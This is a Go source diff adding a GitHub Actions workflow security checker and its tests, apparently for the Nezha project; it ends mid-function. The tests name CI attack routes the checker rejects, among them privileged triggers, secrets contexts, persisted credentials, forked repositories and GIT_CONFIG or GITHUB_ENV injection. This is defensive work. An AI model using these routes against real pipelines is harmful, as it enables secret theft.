func TestPolicy_RejectsDynamicGitRepository(t *testing.T) {
assertFixtureRejected(t, rejected("dynamic-git-repository.yml", workflowpolicy.RuleRepositoryNotLiteral, "literal"))
}
func TestPolicy_RejectsUnapprovedGitRepository(t *testing.T) {
assertFixtureRejected(t, rejected("unapproved-git-repository.yml", workflowpolicy.RuleRepositoryNotAllowed, "attacker/fork"))
}
func TestPolicy_RejectsEnvironmentGitRepository(t *testing.T) {
assertFixtureRejected(t, rejected("environment-git-repository.yml", workflowpolicy.RuleRepositoryNotLiteral, "literal"))
}
func TestPolicy_RejectsExternalGitRepository(t *testing.T) {
assertFixtureRejected(t, rejected("external-git-repository.yml", workflowpolicy.RuleRepositoryNotAllowed, "repository"))
}
func TestPolicy_RejectsPrefixedGitRepository(t *testing.T) {
assertFixtureRejected(t, rejected("prefixed-git-repository.yml", workflowpolicy.RuleRepositoryNotLiteral, "literal"))
}
func TestPolicy_RejectsGitGlobalOptionRepository(t *testing.T) {
assertFixtureRejected(t, rejected("git-global-option-repository.yml", workflowpolicy.RuleRepositoryNotAllowed, "repository"))
}
func TestPolicy_RejectsCommandOptionGitRepository(t *testing.T) {
assertFixtureRejected(t, rejected("command-option-git-repository.yml", workflowpolicy.RuleRepositoryNotAllowed, "repository"))
}
func TestPolicy_RejectsGitConfigurationEnvironment(t *testing.T) {
assertFixtureRejected(t, rejected("git-config-environment.yml", workflowpolicy.RuleRepositoryNotLiteral, "GIT_CONFIG_COUNT"))
}
func TestPolicy_RejectsGitHubEnvironmentConfiguration(t *testing.T) {
assertFixtureRejected(t, rejected("github-environment-git-config.yml", workflowpolicy.RuleRepositoryNotLiteral, "GITHUB_ENV"))
}
func TestPolicy_RejectsIndexedUntrustedExpression(t *testing.T) {
assertFixtureRejected(t, rejected("indexed-untrusted-expression.yml", workflowpolicy.RuleUntrustedExpression, "github['event']"))
}
func TestPolicy_RejectsDynamicIndexedUntrustedExpression(t *testing.T) {
assertFixtureRejected(t, rejected("dynamic-indexed-untrusted-expression.yml", workflowpolicy.RuleUntrustedExpression, "github["))
}
func TestPolicy_RejectsNonliteralAction(t *testing.T) {
assertFixtureRejected(t, rejected("nonliteral-action.yml", workflowpolicy.RuleRepositoryNotLiteral, "literal"))
}
func TestPolicy_RejectsMixedArtifactPaths(t *testing.T) {
assertFixtureRejected(t, rejected("mixed-artifact-paths.yml", workflowpolicy.RuleArtifactRedaction, "redacted"))
}
func TestPolicy_VerifyFileUsesFreshContents(t *testing.T) {
// Given
temporaryDirectory := t.TempDir()
workflowPath := filepath.Join(temporaryDirectory, "workflow.yml")
secureWorkflow, err := os.ReadFile(fixturePath(t, "secure-nezha.yml"))
require.NoError(t, err)
require.NoError(t, os.WriteFile(workflowPath, secureWorkflow, 0o600))
require.NoError(t, workflowpolicy.VerifyFile(workflowPath, workflowpolicy.RepositoryNezha))
maliciousWorkflow, err := os.ReadFile(fixturePath(t, "continue-on-error.yml"))
require.NoError(t, err)
require.NoError(t, os.WriteFile(workflowPath, maliciousWorkflow, 0o600))
// When
err = workflowpolicy.VerifyFile(workflowPath, workflowpolicy.RepositoryNezha)
// Then
requireTypedPolicyError(t, err, workflowpolicy.RuleContinueOnError)
}
func TestPolicy_TempWorkflowsReportExactDiagnostics(t *testing.T) {
// Given
temporaryDirectory := t.TempDir()
securePath := filepath.Join(temporaryDirectory, "secure.yml")
maliciousPath := filepath.Join(temporaryDirectory, "malicious.yml")
secureWorkflow, err := os.ReadFile(fixturePath(t, "secure-nezha.yml"))
require.NoError(t, err)
maliciousWorkflow, err := os.ReadFile(fixturePath(t, "persist-credentials-true.yml"))
require.NoError(t, err)
require.NoError(t, os.WriteFile(securePath, secureWorkflow, 0o600))
require.NoError(t, os.WriteFile(maliciousPath, maliciousWorkflow, 0o600))
// When
secureError := workflowpolicy.VerifyFile(securePath, workflowpolicy.RepositoryNezha)
maliciousError := workflowpolicy.VerifyFile(maliciousPath, workflowpolicy.RepositoryNezha)
// Then
require.NoError(t, secureError)
requireTypedPolicyError(t, maliciousError, workflowpolicy.RulePersistCredentials)
t.Logf("secure workflow: PASS")
t.Logf("malicious workflow: %v", maliciousError)
}
@@ -0,0 +1,81 @@
package workflowpolicy
import (
"strconv"
"strings"
"gopkg.in/yaml.v3"
)
func mappingValue(mapping *yaml.Node, key string) (*yaml.Node, bool) {
if mapping == nil || mapping.Kind != yaml.MappingNode {
return nil, false
}
for index := 0; index < len(mapping.Content); index += 2 {
if mapping.Content[index].Value == key {
return mapping.Content[index+1], true
}
}
return nil, false
}
func mappingEntries(mapping *yaml.Node) [][2]*yaml.Node {
if mapping == nil || mapping.Kind != yaml.MappingNode {
return nil
}
entries := make([][2]*yaml.Node, 0, len(mapping.Content)/2)
for index := 0; index < len(mapping.Content); index += 2 {
entries = append(entries, [2]*yaml.Node{mapping.Content[index], mapping.Content[index+1]})
}
return entries
}
func scalarString(node *yaml.Node) (string, bool) {
if node == nil || node.Kind != yaml.ScalarNode || node.Tag != "!!str" {
return "", false
}
return node.Value, true
}
func explicitFalse(node *yaml.Node) bool {
if node == nil || node.Kind != yaml.ScalarNode || node.Tag != "!!bool" {
return false
}
return strings.EqualFold(strings.TrimSpace(node.Value), "false")
}
func positiveInteger(node *yaml.Node) bool {
if node == nil || node.Kind != yaml.ScalarNode || node.Tag != "!!int" {
return false
}
value, err := strconv.Atoi(node.Value)
return err == nil && value > 0
}
func walkScalars(node *yaml.Node, visit func(*yaml.Node)) {
if node.Kind == yaml.ScalarNode {
visit(node)
}
for _, child := range node.Content {
walkScalars(child, visit)
}
}
func walkMappings(node *yaml.Node, visit func(*yaml.Node)) {
if node.Kind == yaml.MappingNode {
visit(node)
}
for _, child := range node.Content {
walkMappings(child, visit)
}
}
func containsScalar(node *yaml.Node, expected string) bool {
found := false
walkScalars(node, func(scalar *yaml.Node) {
if scalar.Value == expected {
found = true
}
})
return found
}
@@ -0,0 +1,60 @@
package workflowpolicy
import (
"bytes"
"errors"
"fmt"
"io"
"gopkg.in/yaml.v3"
)
func parseWorkflow(source string, data []byte) (*yaml.Node, error) {
decoder := yaml.NewDecoder(bytes.NewReader(data))
var document yaml.Node
if err := decoder.Decode(&document); err != nil {
return nil, &ParseError{Source: source, Cause: err}
}
if len(document.Content) != 1 || document.Content[0].Kind != yaml.MappingNode {
return nil, &ParseError{Source: source, Cause: errors.New("workflow root must be a mapping")}
}
if err := validateYAMLNode(document.Content[0]); err != nil {
return nil, &ParseError{Source: source, Cause: err}
}
var trailing yaml.Node
err := decoder.Decode(&trailing)
if err == nil && len(trailing.Content) > 0 {
return nil, &ParseError{Source: source, Cause: errors.New("multiple YAML documents are not allowed")}
}
if err != nil && !errors.Is(err, io.EOF) {
return nil, &ParseError{Source: source, Cause: err}
}
return document.Content[0], nil
}
func validateYAMLNode(node *yaml.Node) error {
if node.Kind == yaml.AliasNode {
return fmt.Errorf("YAML aliases are not allowed at line %d", node.Line)
}
if node.Anchor != "" {
return fmt.Errorf("YAML aliases are not allowed; YAML anchors are not allowed at line %d", node.Line)
}
if node.Kind == yaml.MappingNode {
seen := make(map[string]struct{}, len(node.Content)/2)
for index := 0; index < len(node.Content); index += 2 {
key := node.Content[index]
identity := key.Tag + "\x00" + key.Value
if _, exists := seen[identity]; exists {
return fmt.Errorf("duplicate key %q at line %d", key.Value, key.Line)
}
seen[identity] = struct{}{}
}
}
for _, child := range node.Content {
if err := validateYAMLNode(child); err != nil {
return err
}
}
return nil
}
@@ -0,0 +1,296 @@
package workflowpolicy_test
import (
"errors"
"os"
"path/filepath"
"testing"
"github.com/nezhahq/nezha/integration/agentcompat/internal/workflowpolicy"
"github.com/stretchr/testify/require"
"gopkg.in/yaml.v3"
)
func TestPolicy_AcceptsSecureNezhaWorkflow(t *testing.T) {
// Given
path := fixturePath(t, "secure-nezha.yml")
// When
err := workflowpolicy.VerifyFile(path, workflowpolicy.RepositoryNezha)
// Then
require.NoError(t, err)
}
func TestPolicy_AcceptsSecureAgentWorkflow(t *testing.T) {
// Given
path := fixturePath(t, "secure-agent.yml")
// When
err := workflowpolicy.VerifyFile(path, workflowpolicy.RepositoryAgent)
// Then
require.NoError(t, err)
}
func TestPolicy_AcceptsValidatedResolvedOtherRepositoryRef(t *testing.T) {
// Given
path := fixturePath(t, "secure-resolved-ref.yml")
// When
err := workflowpolicy.VerifyFile(path, workflowpolicy.RepositoryNezha)
// Then
require.NoError(t, err)
}
func TestPolicy_RejectsPullRequestTarget(t *testing.T) {
assertFixtureRejected(t, rejected("pull-request-target.yml", workflowpolicy.RulePrivilegedTrigger, "pull_request_target"))
}
func TestPolicy_RejectsPrivilegedWorkflowRun(t *testing.T) {
assertFixtureRejected(t, rejected("workflow-run.yml", workflowpolicy.RulePrivilegedTrigger, "workflow_run"))
}
func TestPolicy_RejectsSecretContext(t *testing.T) {
assertFixtureRejected(t, rejected("secret-context.yml", workflowpolicy.RuleSecretContext, "secrets"))
}
func TestPolicy_RejectsAggregateSecretContext(t *testing.T) {
assertFixtureRejected(t, rejected("aggregate-secret-context.yml", workflowpolicy.RuleSecretContext, "secrets"))
}
func TestPolicy_RejectsWritePermission(t *testing.T) {
assertFixtureRejected(t, rejected("write-permission.yml", workflowpolicy.RuleWritePermission, "contents"))
}
func TestPolicy_RejectsIDTokenPermission(t *testing.T) {
assertFixtureRejected(t, rejected("id-token-write.yml", workflowpolicy.RuleWritePermission, "id-token"))
}
func TestPolicy_RejectsMissingRootPermissions(t *testing.T) {
assertFixtureRejected(t, rejected("missing-root-permissions.yml", workflowpolicy.RuleWritePermission, "root permissions"))
}
func TestPolicy_RejectsPermissionsSequence(t *testing.T) {
assertFixtureRejected(t, rejected("permissions-sequence.yml", workflowpolicy.RuleWritePermission, "mapping"))
}
func TestPolicy_RejectsQuotedFalsePersistCredentials(t *testing.T) {
assertFixtureRejected(t, rejected("quoted-false-security-controls.yml", workflowpolicy.RulePersistCredentials, "boolean"))
}
func TestPolicy_RejectsFractionalTimeout(t *testing.T) {
assertFixtureRejected(t, rejected("numeric-timeout.yml", workflowpolicy.RuleMissingJobTimeout, "positive literal"))
}
func TestPolicy_RejectsNonScalarPermissionValue(t *testing.T) {
assertFixtureRejected(t, rejected("mapping-permission-value.yml", workflowpolicy.RuleWritePermission, "read or none"))
}
func TestPolicy_RejectsNonMappingUsesStep(t *testing.T) {
assertFixtureRejected(t, rejected("nonmapping-uses.yml", workflowpolicy.RuleWorkflowStructure, "string action reference"))
}
func TestPolicy_RejectsNonStringUsesReference(t *testing.T) {
assertFixtureRejected(t, rejected("boolean-uses.yml", workflowpolicy.RuleWorkflowStructure, "string action reference"))
}
func TestPolicy_RejectsMutableRepositoryInput(t *testing.T) {
assertFixtureRejected(t, rejected("unapproved-repository.yml", workflowpolicy.RuleRepositoryNotAllowed, "attacker/fork"))
}
func TestPolicy_RejectsNonliteralRepository(t *testing.T) {
assertFixtureRejected(t, rejected("nonliteral-repository.yml", workflowpolicy.RuleRepositoryNotLiteral, "literal"))
}
func TestPolicy_RejectsMutableOtherRepositoryRef(t *testing.T) {
assertFixtureRejected(t, rejected("mutable-other-repository-ref.yml", workflowpolicy.RuleOtherRepositoryRef, "40"))
}
func TestPolicy_RejectsUnvalidatedResolvedOtherRepositoryRef(t *testing.T) {
assertFixtureRejected(t, rejectionExpectation{fixture: "unvalidated-resolved-ref.yml", repository: workflowpolicy.RepositoryNezha, rule: workflowpolicy.RuleOtherRepositoryRef, diagnostic: "validated resolver"})
}
func TestPolicy_RejectsResolverVariableOverride(t *testing.T) {
assertFixtureRejected(t, rejectionExpectation{fixture: "resolver-variable-override.yml", repository: workflowpolicy.RepositoryNezha, rule: workflowpolicy.RuleOtherRepositoryRef, diagnostic: "validated resolver"})
}
func TestPolicy_RejectsMissingPersistCredentialsFalse(t *testing.T) {
assertFixtureRejected(t, rejected("missing-persist-credentials.yml", workflowpolicy.RulePersistCredentials, "persist-credentials"))
}
func TestPolicy_RejectsPersistCredentialsTrue(t *testing.T) {
assertFixtureRejected(t, rejected("persist-credentials-true.yml", workflowpolicy.RulePersistCredentials, "false"))
}
func TestPolicy_RejectsMalformedYAML(t *testing.T) {
// Given
path := fixturePath(t, "malformed.yml")
// When
err := workflowpolicy.VerifyFile(path, workflowpolicy.RepositoryNezha)
// Then
var parseError *workflowpolicy.ParseError
require.ErrorAs(t, err, &parseError)
require.Contains(t, err.Error(), "parse workflow")
}
func TestPolicy_RejectsDuplicateKeys(t *testing.T) {
// Given
path := fixturePath(t, "duplicate-jobs.yml")
// When
err := workflowpolicy.VerifyFile(path, workflowpolicy.RepositoryNezha)
// Then
var parseError *workflowpolicy.ParseError
require.ErrorAs(t, err, &parseError)
require.Contains(t, err.Error(), "duplicate key")
}
func TestPolicy_RejectsYAMLAlias(t *testing.T) {
// Given
path := fixturePath(t, "yaml-alias.yml")
// When
err := workflowpolicy.VerifyFile(path, workflowpolicy.RepositoryNezha)
// Then
var parseError *workflowpolicy.ParseError
require.ErrorAs(t, err, &parseError)
require.Contains(t, err.Error(), "aliases are not allowed")
}
func TestPolicy_RejectsTrailingEmptyYAMLDocument(t *testing.T) {
assertFixtureParseRejected(t, "trailing-empty-document.yml", "multiple YAML documents")
}
func TestPolicy_RejectsBareYAMLAnchor(t *testing.T) {
assertFixtureParseRejected(t, "bare-anchor.yml", "anchors are not allowed")
}
func TestPolicy_RejectsMalformedStepValues(t *testing.T) {
for _, fixture := range []string{"empty-step.yml", "empty-run.yml", "nonstring-run.yml", "empty-uses.yml"} {
t.Run(fixture, func(t *testing.T) {
assertFixtureRejected(t, rejected(fixture, workflowpolicy.RuleWorkflowStructure, "step"))
})
}
}
func TestPolicy_RejectsSecretTokenSources(t *testing.T) {
for _, fixture := range []string{"github-token.yml", "github-token-environment.yml"} {
t.Run(fixture, func(t *testing.T) {
assertFixtureRejected(t, rejected(fixture, workflowpolicy.RuleSecretContext, "token"))
})
}
}
func TestPolicy_RejectsNonBooleanConcurrencyCancellation(t *testing.T) {
assertFixtureRejected(t, rejected("nonboolean-concurrency-cancel.yml", workflowpolicy.RuleMissingConcurrency, "boolean"))
}
func TestPolicy_RejectsMissingJobs(t *testing.T) {
assertFixtureRejected(t, rejected("missing-jobs.yml", workflowpolicy.RuleWorkflowStructure, "nonempty mapping"))
}
func TestPolicy_RejectsNonmappingStep(t *testing.T) {
assertFixtureRejected(t, rejected("nonmapping-step.yml", workflowpolicy.RuleWorkflowStructure, "step must be a mapping"))
}
func TestPolicy_RejectsNonsequenceSteps(t *testing.T) {
assertFixtureRejected(t, rejected("nonsequence-steps.yml", workflowpolicy.RuleWorkflowStructure, "steps must be a sequence"))
}
func TestPolicy_MissingFutureWorkflowReturnsTypedReadError(t *testing.T) {
// Given
path := filepath.Join(t.TempDir(), "agent-compatibility.yml")
// When
err := workflowpolicy.VerifyFile(path, workflowpolicy.RepositoryNezha)
// Then
var readError *workflowpolicy.ReadError
require.ErrorAs(t, err, &readError)
require.ErrorIs(t, err, os.ErrNotExist)
}
func TestPolicy_RejectsUnsupportedRepositoryBeforeWorkflowChecks(t *testing.T) {
// Given
data, err := os.ReadFile(fixturePath(t, "secure-nezha.yml"))
require.NoError(t, err)
// When
err = workflowpolicy.Verify(data, workflowpolicy.Repository("attacker/fork"))
// Then
var policyError *workflowpolicy.PolicyError
require.ErrorAs(t, err, &policyError)
require.True(t, policyError.Has(workflowpolicy.RuleRepositoryNotAllowed))
}
type rejectionExpectation struct {
fixture string
repository workflowpolicy.Repository
rule workflowpolicy.Rule
diagnostic string
}
func rejected(fixture string, rule workflowpolicy.Rule, diagnostic string) rejectionExpectation {
return rejectionExpectation{fixture: fixture, repository: workflowpolicy.RepositoryNezha, rule: rule, diagnostic: diagnostic}
}
func assertFixtureRejected(t *testing.T, expectation rejectionExpectation) {
t.Helper()
// Given
path := fixturePath(t, expectation.fixture)
// When
err := workflowpolicy.VerifyFile(path, expectation.repository)
// Then
var policyError *workflowpolicy.PolicyError
require.ErrorAs(t, err, &policyError)
require.True(t, policyError.Has(expectation.rule), "diagnostic: %v", err)
require.Contains(t, err.Error(), expectation.diagnostic)
}
func assertFixtureParseRejected(t *testing.T, fixture string, diagnostic string) {
t.Helper()
err := workflowpolicy.VerifyFile(fixturePath(t, fixture), workflowpolicy.RepositoryNezha)
var parseError *workflowpolicy.ParseError
require.ErrorAs(t, err, &parseError)
require.Contains(t, err.Error(), diagnostic)
}
func fixturePath(t *testing.T, name string) string {
t.Helper()
return filepath.Join("testdata", name)
}
func mappingNodeValue(node *yaml.Node, key string) *yaml.Node {
for index := 0; index < len(node.Content); index += 2 {
if node.Content[index].Value == key {
return node.Content[index+1]
}
}
return nil
}
func scalarValues(node *yaml.Node) []string {
values := make([]string, 0, len(node.Content))
for _, child := range node.Content {
values = append(values, child.Value)
}
return values
}
func requireTypedPolicyError(t *testing.T, err error, rule workflowpolicy.Rule) *workflowpolicy.PolicyError {
t.Helper()
var policyError *workflowpolicy.PolicyError
require.True(t, errors.As(err, &policyError), "expected typed policy error, got %T: %v", err, err)
require.True(t, policyError.Has(rule), "diagnostic: %v", err)
return policyError
}
@@ -0,0 +1,212 @@
package workflowpolicy_test
import (
"os"
"path/filepath"
"strings"
"testing"
"github.com/nezhahq/nezha/integration/agentcompat/internal/workflowpolicy"
"github.com/stretchr/testify/require"
"gopkg.in/yaml.v3"
)
func TestPolicy_NezhaQualityWorkflow(t *testing.T) {
// Given
path := filepath.Join(repositoryRoot(t), ".github", "workflows", "test.yml")
data, err := os.ReadFile(path)
require.NoError(t, err)
require.NoError(t, workflowpolicy.Verify(data, workflowpolicy.RepositoryNezha))
var document yaml.Node
require.NoError(t, yaml.Unmarshal(data, &document))
root := document.Content[0]
var workflow qualityWorkflow
require.NoError(t, yaml.Unmarshal(data, &workflow))
// When
jobs := mappingNodeValue(root, "jobs")
aggregator := mappingNodeValue(jobs, "nezha-quality-required")
needs := mappingNodeValue(aggregator, "needs")
// Then
triggers := mappingNodeValue(root, "on")
require.NotNil(t, mappingNodeValue(triggers, "merge_group"))
require.Equal(t, []string{"master"}, workflow.Triggers.Push.Branches)
require.Empty(t, workflow.Triggers.Push.Paths)
require.Equal(t, []string{"master"}, workflow.Triggers.PullRequest.Branches)
require.Empty(t, workflow.Triggers.PullRequest.Paths)
require.Equal(t, map[string]string{"contents": "read"}, workflow.Permissions)
require.NotEmpty(t, workflow.Concurrency.Group)
require.NotNil(t, workflow.Concurrency.CancelInProgress)
require.True(t, *workflow.Concurrency.CancelInProgress)
require.Len(t, workflow.Jobs, 4)
ordinaryJob := workflow.Jobs["tests"]
require.Equal(t, []string{"ubuntu-latest", "windows-latest", "macos-latest"}, ordinaryJob.Strategy.Matrix.OS)
require.NotNil(t, ordinaryJob.Strategy.FailFast)
require.False(t, *ordinaryJob.Strategy.FailFast)
require.Equal(t, "${{ matrix.os }}", ordinaryJob.RunsOn)
require.Equal(t, 30, ordinaryJob.TimeoutMinutes)
requireCheckoutAndSetupGo(t, ordinaryJob.Steps)
require.Equal(t, strings.Join([]string{
"go install github.com/swaggo/swag/cmd/swag@v1.16.6",
"touch ./cmd/dashboard/user-dist/a",
"touch ./cmd/dashboard/admin-dist/a",
"swag init --pd -d cmd/dashboard -g main.go -o cmd/dashboard/docs",
}, "\n"), strings.TrimSpace(ordinaryJob.stepNamed(t, "Generate Swagger docs").Run))
require.Equal(t, "go test -mod=readonly -count=1 ./...", ordinaryJob.stepNamed(t, "Unit test").Run)
require.Equal(t, "go build -v ./cmd/dashboard", ordinaryJob.stepNamed(t, "Build dashboard").Run)
linuxJob := workflow.Jobs["linux-race-quality"]
require.Equal(t, "ubuntu-24.04", linuxJob.RunsOn)
require.Equal(t, 45, linuxJob.TimeoutMinutes)
requireCheckoutAndSetupGo(t, linuxJob.Steps)
require.Equal(t, ordinaryJob.stepNamed(t, "Generate Swagger docs").Run, linuxJob.stepNamed(t, "Generate Swagger docs").Run)
require.Equal(t, "go test -mod=readonly -race -shuffle=on -count=1 ./...", linuxJob.stepNamed(t, "Race and shuffle tests").Run)
require.Equal(t, "go vet ./...", linuxJob.stepNamed(t, "Vet").Run)
require.Equal(t, "test -z \"$(git ls-files -co --exclude-standard '*.go' -z | xargs -0 gofmt -l)\"", linuxJob.stepNamed(t, "Check formatting").Run)
require.Equal(t, "go build ./cmd/dashboard", linuxJob.stepNamed(t, "Build dashboard").Run)
gosecStep := linuxJob.stepNamed(t, "Run Gosec Security Scanner")
require.Equal(t, "auto", gosecStep.Env.GoToolchain)
require.Equal(t, strings.Join([]string{
"go install github.com/securego/gosec/v2/cmd/gosec@v2.27.1",
"gosec --exclude=G104,G115,G117,G203,G402,G703,G704 ./...",
}, "\n"), strings.TrimSpace(gosecStep.Run))
require.Len(t, scalarValues(needs), 3)
require.ElementsMatch(t, []string{"tests", "linux-race-quality", "agentcompat-stress"}, scalarValues(needs))
require.Equal(t, "nezha-quality-required", workflow.Jobs["nezha-quality-required"].Name)
require.Equal(t, "${{ always() }}", mappingNodeValue(aggregator, "if").Value)
steps := mappingNodeValue(aggregator, "steps")
require.Len(t, steps.Content, 1)
require.Equal(t, strings.Join([]string{
"test \"${{ needs.tests.result }}\" = success",
"test \"${{ needs.linux-race-quality.result }}\" = success",
"test \"${{ needs.agentcompat-stress.result }}\" = success",
}, "\n"), strings.TrimSpace(mappingNodeValue(steps.Content[0], "run").Value))
}
type qualityWorkflow struct {
Triggers qualityTriggers `yaml:"on"`
Permissions map[string]string `yaml:"permissions"`
Concurrency qualityConcurrency `yaml:"concurrency"`
Jobs map[string]qualityJob `yaml:"jobs"`
}
type qualityTriggers struct {
Push qualityBranchTrigger `yaml:"push"`
PullRequest qualityBranchTrigger `yaml:"pull_request"`
}
type qualityBranchTrigger struct {
Branches []string `yaml:"branches"`
Paths []string `yaml:"paths"`
}
type qualityConcurrency struct {
Group string `yaml:"group"`
CancelInProgress *bool `yaml:"cancel-in-progress"`
}
type qualityJob struct {
Name string `yaml:"name"`
Strategy qualityStrategy `yaml:"strategy"`
RunsOn string `yaml:"runs-on"`
TimeoutMinutes int `yaml:"timeout-minutes"`
Steps []qualityStep `yaml:"steps"`
}
type qualityStrategy struct {
FailFast *bool `yaml:"fail-fast"`
Matrix qualityMatrix `yaml:"matrix"`
}
type qualityMatrix struct {
OS []string `yaml:"os"`
}
type qualityStep struct {
Name string `yaml:"name"`
Uses string `yaml:"uses"`
Run string `yaml:"run"`
WorkingDirectory string `yaml:"working-directory"`
Env qualityEnv `yaml:"env"`
With qualityWith `yaml:"with"`
}
type qualityEnv struct {
GoToolchain string `yaml:"GOTOOLCHAIN"`
AgentcompatNezhaSource string `yaml:"AGENTCOMPAT_NEZHA_SOURCE"`
AgentcompatAgentSource string `yaml:"AGENTCOMPAT_AGENT_SOURCE"`
}
type qualityWith struct {
PersistCredentials *bool `yaml:"persist-credentials"`
GoVersion string `yaml:"go-version"`
Cache *bool `yaml:"cache"`
Repository string `yaml:"repository"`
Ref string `yaml:"ref"`
Path string `yaml:"path"`
}
func (j qualityJob) stepNamed(t *testing.T, name string) qualityStep {
t.Helper()
for _, step := range j.Steps {
if step.Name == name {
return step
}
}
t.Fatalf("workflow job is missing step %q", name)
return qualityStep{}
}
func requireCheckoutAndSetupGo(t *testing.T, steps []qualityStep) {
t.Helper()
require.GreaterOrEqual(t, len(steps), 2)
checkout := steps[0]
require.Equal(t, "actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0", checkout.Uses)
require.NotNil(t, checkout.With.PersistCredentials)
require.False(t, *checkout.With.PersistCredentials)
setupGo := steps[1]
require.Equal(t, "actions/setup-go@924ae3a1cded613372ab5595356fb5720e22ba16", setupGo.Uses)
require.Equal(t, "1.26.x", setupGo.With.GoVersion)
require.NotNil(t, setupGo.With.Cache)
require.False(t, *setupGo.With.Cache)
}
func TestPolicy_AcceptsWorkflowWithoutTestsOrRequiredAggregator(t *testing.T) {
// Given
data, err := os.ReadFile(fixturePath(t, "quality-only.yml"))
require.NoError(t, err)
// When
err = workflowpolicy.Verify(data, workflowpolicy.RepositoryNezha)
// Then
require.NoError(t, err)
}
func readNezhaQualityWorkflow(t *testing.T) []byte {
t.Helper()
data, err := os.ReadFile(filepath.Join(repositoryRoot(t), ".github", "workflows", "test.yml"))
require.NoError(t, err)
return data
}
func repositoryRoot(t *testing.T) string {
t.Helper()
current, err := os.Getwd()
require.NoError(t, err)
for {
goModule, readError := os.ReadFile(filepath.Join(current, "go.mod"))
if readError == nil && strings.HasPrefix(string(goModule), "module github.com/nezhahq/nezha\n") {
return current
}
if readError != nil && !os.IsNotExist(readError) {
require.NoError(t, readError)
}
parent := filepath.Dir(current)
require.NotEqual(t, current, parent, "repository root containing go.mod was not found")
current = parent
}
}
@@ -0,0 +1,86 @@
package workflowpolicy
import (
"strings"
"gopkg.in/yaml.v3"
)
func (c *checker) checkRequiredAggregator(jobs *yaml.Node) {
aggregatorName := map[Repository]string{
RepositoryAgent: "agent-quality-required", RepositoryNezha: "nezha-quality-required",
}[c.repository]
if aggregatorName == "" {
return
}
_, hasTestsJob := mappingValue(jobs, "tests")
_, hasQualityJob := mappingValue(jobs, "linux-race-quality")
if !hasTestsJob || !hasQualityJob {
return
}
requiredJobs := []string{"tests", "linux-race-quality", "agentcompat-stress"}
aggregator, hasAggregator := mappingValue(jobs, aggregatorName)
if !hasAggregator || aggregator.Kind != yaml.MappingNode {
c.reject(RuleWorkflowStructure, at("$.jobs."+aggregatorName, jobs), "required quality aggregator is missing")
return
}
needs, hasNeeds := mappingValue(aggregator, "needs")
if !hasNeeds || !hasExactRequiredNeeds(needs, requiredJobs) {
c.reject(RuleWorkflowStructure, at("$.jobs."+aggregatorName+".needs", aggregator), "required quality aggregator needs must include every blocking job exactly once")
}
condition, hasCondition := mappingValue(aggregator, "if")
if !hasCondition || !isAlwaysCondition(condition) {
c.reject(RuleWorkflowStructure, at("$.jobs."+aggregatorName+".if", aggregator), "required quality aggregator must use if: always()")
}
steps, hasSteps := mappingValue(aggregator, "steps")
if !hasSteps || !hasRequiredSuccessChecks(steps, requiredJobs) {
c.reject(RuleWorkflowStructure, at("$.jobs."+aggregatorName+".steps", aggregator), "required quality aggregator must test every blocking job result for success")
}
}
func hasExactRequiredNeeds(node *yaml.Node, requiredJobs []string) bool {
if node == nil || node.Kind != yaml.SequenceNode || len(node.Content) != len(requiredJobs) {
return false
}
required := make(map[string]struct{}, len(requiredJobs))
for _, jobName := range requiredJobs {
required[jobName] = struct{}{}
}
for _, valueNode := range node.Content {
value, literal := scalarString(valueNode)
if !literal {
return false
}
delete(required, value)
}
return len(required) == 0
}
func isAlwaysCondition(node *yaml.Node) bool {
condition, literal := scalarString(node)
condition = strings.TrimSpace(condition)
return literal && (condition == "always()" || condition == "${{ always() }}")
}
func hasRequiredSuccessChecks(steps *yaml.Node, requiredJobs []string) bool {
if steps == nil || steps.Kind != yaml.SequenceNode || len(steps.Content) != 1 {
return false
}
run, hasRun := mappingValue(steps.Content[0], "run")
command, literal := scalarString(run)
if !hasRun || !literal {
return false
}
lines := strings.Split(strings.TrimSpace(command), "\n")
if len(lines) != len(requiredJobs) {
return false
}
requiredChecks := make(map[string]struct{}, len(requiredJobs))
for _, jobName := range requiredJobs {
requiredChecks[`test "${{ needs.`+jobName+`.result }}" = success`] = struct{}{}
}
for _, line := range lines {
delete(requiredChecks, strings.TrimSpace(line))
}
return len(requiredChecks) == 0
}
@@ -0,0 +1,103 @@
package workflowpolicy_test
import (
"os"
"strings"
"testing"
"github.com/nezhahq/nezha/integration/agentcompat/internal/workflowpolicy"
"github.com/stretchr/testify/require"
)
func TestPolicy_RejectsMissingRequiredDependency(t *testing.T) {
// Given
data, err := os.ReadFile(fixturePath(t, "missing-required-dependency.yml"))
require.NoError(t, err)
// When
err = workflowpolicy.Verify(data, workflowpolicy.RepositoryNezha)
// Then
var policyError *workflowpolicy.PolicyError
require.ErrorAs(t, err, &policyError)
require.True(t, policyError.Has(workflowpolicy.RuleWorkflowStructure))
}
func TestPolicy_RejectsInvalidRequiredAggregator(t *testing.T) {
tests := []struct {
name string
currentText string
invalidText string
}{
{
name: "missing tests dependency",
currentText: "needs:\n - tests\n - linux-race-quality\n - agentcompat-stress",
invalidText: "needs:\n - linux-race-quality\n - agentcompat-stress",
},
{
name: "extra dependency",
currentText: " - agentcompat-stress\n runs-on:",
invalidText: " - agentcompat-stress\n - unrelated-job\n runs-on:",
},
{
name: "missing stress dependency",
currentText: " - linux-race-quality\n - agentcompat-stress",
invalidText: " - linux-race-quality",
},
{
name: "missing always condition",
currentText: "if: ${{ always() }}",
invalidText: "if: ${{ success() }}",
},
{
name: "tests result only mentioned",
currentText: "test \"${{ needs.tests.result }}\" = success",
invalidText: "printf '%s success\\n' \"${{ needs.tests.result }}\"",
},
{
name: "quality result only mentioned",
currentText: "test \"${{ needs.linux-race-quality.result }}\" = success",
invalidText: "printf '%s success\\n' \"${{ needs.linux-race-quality.result }}\"",
},
{
name: "stress result only mentioned",
currentText: "test \"${{ needs.agentcompat-stress.result }}\" = success",
invalidText: "printf '%s success\\n' \"${{ needs.agentcompat-stress.result }}\"",
},
{
name: "success checks defined but not executed",
currentText: strings.Join([]string{
"test \"${{ needs.tests.result }}\" = success",
"test \"${{ needs.linux-race-quality.result }}\" = success",
"test \"${{ needs.agentcompat-stress.result }}\" = success",
}, "\n "),
invalidText: strings.Join([]string{
"check_results() {",
" test \"${{ needs.tests.result }}\" = success",
" test \"${{ needs.linux-race-quality.result }}\" = success",
" test \"${{ needs.agentcompat-stress.result }}\" = success",
"}",
}, "\n "),
},
}
for _, test := range tests {
t.Run(test.name, func(t *testing.T) {
// Given
data := readNezhaQualityWorkflow(t)
